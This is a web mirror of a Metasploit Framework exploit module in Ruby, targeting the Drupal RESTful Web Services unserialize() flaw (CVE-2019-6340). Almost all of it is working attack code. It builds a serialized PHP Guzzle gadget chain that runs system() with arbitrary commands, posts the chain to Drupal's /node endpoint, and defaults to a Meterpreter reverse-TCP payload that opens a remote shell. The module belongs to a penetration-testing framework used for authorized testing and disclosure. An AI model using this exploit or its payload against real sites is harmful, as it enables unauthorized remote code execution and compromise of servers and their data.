CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
# NOTE: All (four) Web Services modules need to be enabled
9
Rank = NormalRanking
10
11
include Msf::Exploit::Remote::HTTP::Drupal
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Drupal RESTful Web Services unserialize() RCE',
17
'Description' => %q{
18
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
19
Web Services by sending a crafted request to the /node REST endpoint.
20
21
As per SA-CORE-2019-003, the initial remediation was to disable POST,
22
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
23
(albeit cached). Cached nodes can be exploited only once.
24
25
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
26
this alternate vector.
27
28
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
29
},
30
'Author' => [
31
'Jasper Mattsson', # Discovery
32
'Charles Fol', # PoC
33
'Rotem Reiss', # Module
34
'wvu' # Module
35
],
36
'References' => [
37
['CVE', '2019-6340'],
38
['URL', 'https://www.drupal.org/sa-core-2019-003'],
39
['URL', 'https://www.drupal.org/psa-2019-02-22'],
40
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
41
['URL', 'https://github.com/ambionics/phpggc'],
42
['URL', 'https://twitter.com/jcran/status/1099206271901798400']
43
],
44
'DisclosureDate' => '2019-02-20',
45
'License' => MSF_LICENSE,
46
'Platform' => ['php', 'unix'],
47
'Arch' => [ARCH_PHP, ARCH_CMD],
48
'Privileged' => false,
49
'Targets' => [
50
['PHP In-Memory',
51
'Platform' => 'php',
52
'Arch' => ARCH_PHP,
53
'Type' => :php_memory,
54
'Payload' => {'BadChars' => "'"},
55
'DefaultOptions' => {
56
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
57
}
58
],
59
['Unix In-Memory',
60
'Platform' => 'unix',
61
'Arch' => ARCH_CMD,
62
'Type' => :unix_memory,
63
'DefaultOptions' => {
64
'PAYLOAD' => 'cmd/unix/generic',
65
'CMD' => 'id'
66
}
67
]
68
],
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'AKA' => ['SA-CORE-2019-003'],
72
'Stability' => [CRASH_SAFE],
73
'SideEffects' => [IOC_IN_LOGS],
74
'Reliability' => [UNRELIABLE_SESSION] # When using the GET method
75
}
76
))
77
78
register_options([
79
OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
80
['GET', 'POST', 'PATCH', 'PUT']]),
81
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),
82
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
83
])
84
end
85
86
def check
87
checkcode = CheckCode::Unknown
88
89
version = drupal_version
90
91
unless version
92
vprint_error('Could not determine Drupal version')
93
return checkcode
94
end
95
96
if version.to_s !~ /^8\b/
97
vprint_error("Drupal #{version} is not supported")
98
return CheckCode::Safe
99
end
100
101
vprint_status("Drupal #{version} targeted at #{full_uri}")
102
checkcode = CheckCode::Detected
103
104
changelog = drupal_changelog(version)
105
106
unless changelog
107
vprint_error('Could not determine Drupal patch level')
108
return checkcode
109
end
110
111
case drupal_patch(changelog, 'SA-CORE-2019-003')
112
when nil
113
vprint_warning('CHANGELOG.txt no longer contains patch level')
114
when true
115
vprint_warning('Drupal appears patched in CHANGELOG.txt')
116
checkcode = CheckCode::Safe
117
when false
118
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
119
checkcode = CheckCode::Appears
120
end
121
122
# Any further with GET and we risk caching the targeted node
123
return checkcode if meth == 'GET'
124
125
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
126
token = Rex::Text.rand_text_alphanumeric(8..42)
127
res = execute_command("echo #{token}")
128
129
return checkcode unless res
130
131
if res.body.include?(token)
132
vprint_good('Drupal is vulnerable to code execution')
133
checkcode = CheckCode::Vulnerable
134
end
135
136
checkcode
137
end
138
139
def exploit
140
if datastore['PAYLOAD'] == 'cmd/unix/generic'
141
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
142
# XXX: Naughty datastore modification
143
datastore['DUMP_OUTPUT'] = true
144
end
145
146
case target['Type']
147
when :php_memory
148
# XXX: This will spawn a *very* obvious process
149
execute_command("php -r '#{payload.encoded}'")
150
when :unix_memory
151
execute_command(payload.encoded)
152
end
153
end
154
155
def execute_command(cmd, opts = {})
156
vprint_status("Executing with system(): #{cmd}")
157
158
# https://en.wikipedia.org/wiki/Hypertext_Application_Language
159
hal_json = JSON.pretty_generate(
160
'link' => [
161
'value' => 'link',
162
'options' => phpggc_payload(cmd)
163
],
164
'_links' => {
165
'type' => {
166
'href' => vhost_uri
167
}
168
}
169
)
170
171
print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
172
173
res = send_request_cgi({
174
'method' => meth,
175
'uri' => node_uri,
176
'ctype' => 'application/hal+json',
177
'vars_get' => {'_format' => 'hal_json'},
178
'data' => hal_json
179
}, 3.5)
180
181
return unless res
182
183
case res.code
184
# 401 isn't actually a failure when using the POST method
185
when 200, 401
186
print_line(res.body) if datastore['DUMP_OUTPUT']
187
if meth == 'GET'
188
print_warning('If you did not get code execution, try a new node ID')
189
end
190
when 404
191
print_error("#{node_uri} not found")
192
when 405
193
print_error("#{meth} method not allowed")
194
when 422
195
print_error('VHOST may need to be set')
196
when 406
197
print_error('Web Services may not be enabled')
198
else
199
print_error("Unexpected reply: #{res.inspect}")
200
end
201
202
res
203
end
204
205
# phpggc Guzzle/RCE1 system id
206
def phpggc_payload(cmd)
207
(
208
# http://www.phpinternalsbook.com/classes_objects/serialization.html
209
<<~EOF
210
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
211
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
212
s:5:"close";a:2:{
213
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
214
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
215
s:cmd_len:"cmd";
216
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
217
a:1:{i:0;a:1:{i:0;s:6:"system";}}
218
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
219
b:0;
220
}
221
i:1;s:7:"resolve";
222
}
223
}
224
s:9:"_fn_close";a:2:{
225
i:0;r:4;
226
i:1;s:7:"resolve";
227
}
228
}
229
EOF
230
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
231
end
232
233
def meth
234
datastore['METHOD'] || 'POST'
235
end
236
237
def node
238
datastore['NODE'] || 1
239
end
240
241
def node_uri
242
if meth == 'GET'
243
normalize_uri(target_uri.path, '/node', node)
244
else
245
normalize_uri(target_uri.path, '/node')
246
end
247
end
248
249
def vhost_uri
250
full_uri(
251
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
252
vhost_uri: true
253
)
254
end
255
256
end
257
258